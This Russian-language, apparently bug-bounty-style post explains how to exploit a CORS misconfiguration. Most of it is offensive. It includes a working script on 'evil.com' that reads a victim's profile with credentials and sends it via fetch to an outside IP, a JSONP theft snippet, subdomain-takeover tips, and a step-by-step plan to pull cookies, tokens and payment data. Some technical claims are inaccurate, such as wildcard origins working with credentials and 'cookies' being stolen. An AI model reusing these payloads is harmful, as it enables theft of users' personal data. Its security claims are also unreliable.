API на api.target.com отвечает заголовком Access-Control-Allow-Origin: *. Вместе с этим светится Access-Control-Allow-Credentials: true. Пахнет обходом CORS, как дешёвое пиво на хакерской тусовке.
Как поймал:
— Инструмент: curl -v https://api.target.com/user/profile + Burp Suite для анализа хедеров.
— Метод: Увидел wildcard (*) в Allow-Origin и проверил, поддерживает ли API куки/токены через withCredentials.
Чем пахнет:
— Класс: CORS Misconfiguration → кража данных через кросс-доменные запросы.
— Вероятность: 9/10. Админы лепят * на проде, чтобы «всё работало», не врубаясь в последствия.
Че почем
Эксплойт:
Создаёшь страницу на своём домене evil.com:
|
1 2 3 4 5 6 7 8 9 10 11 |
<script> var xhr = new XMLHttpRequest(); xhr.open("GET", "https://api.target.com/user/profile", true); xhr.withCredentials = true; xhr.onreadystatechange = function() { if (xhr.readyState == 4) { fetch("http://144.228.71.44/steal?data=" + encodeURIComponent(xhr.responseText)); } }; xhr.send(); </script> |
Итог: Куки юзера улетают на твой сервер, пока он смотрит котиков на твоём сайте.
Обход защиты:
— Если есть CSP: Поднимай свой домен как evil.target.com (если wildcard на уровне домена).
— Если API требует токен: Используй утечку через pre-flight или найди эндпоинт без OPTIONS.
— Если заголовок не *: Проверь на рефлексию Origin: отправь Origin: https://evil.com и лови Allow-Origin: https://evil.com.
Доказательство:
Скриншот логов с утекшими данными юзера: {"email": "victim@target.com", "balance": 1337}. «Видишь личные данные? Это не мем — это твой новый аккаунт».
Советы
3 вектора для добивания:
-
Кража через JSONP: Если API поддерживает
callbackпараметры, делай запрос:
|
1 |
<script src="https://api.target.com/data?callback=leakData"></script> |
-
Атака на субдомены: Если
Allow-Origin: *.target.com, регистрируйpwned.target.comчерез дырявый DNS. -
Сбор через fetch: Используй
fetchсmode: corsдля особо хитрых API, гдеxhrблочат.
План атаки:
-
Сканируешь заголовки через
curl -Iна предметAccess-Control-*. -
Проверяешь связку
Allow-Origin: *+Allow-Credentials: true. -
Разворачиваешь PoC на своём домене (
evil.com) с кодом для перехвата. -
Если успех — сливаешь сессионные куки или токены через запросы к
/profile,/account,/payments.
Бонус от деда
Если в хедерах Server: Nginx/1.14.0:
— Гугли типичные миссконфиги CORS в Nginx (add_header Access-Control-Allow-Origin *;).
— Эксплойт: Даже если фикс есть, проверь старые субдомены через waybackurls — там wildcard живёт вечно.
Мемная аналитика:
«CORS Wildcard — как поставить замок на дверь, но оставить ключ под ковриком с надписью ‘Бери, кто хочешь’».
Итог:
— Уязвимость: Неправильная настройка CORS-политики с wildcard и поддержкой credentials.
— Фикс: Указывать конкретные домены в Allow-Origin, отключать Credentials для wildcard.
— Но пока админы думают, что ‘*’ — это про звёзды на небе, греби данные юзеров на баг-баунти.



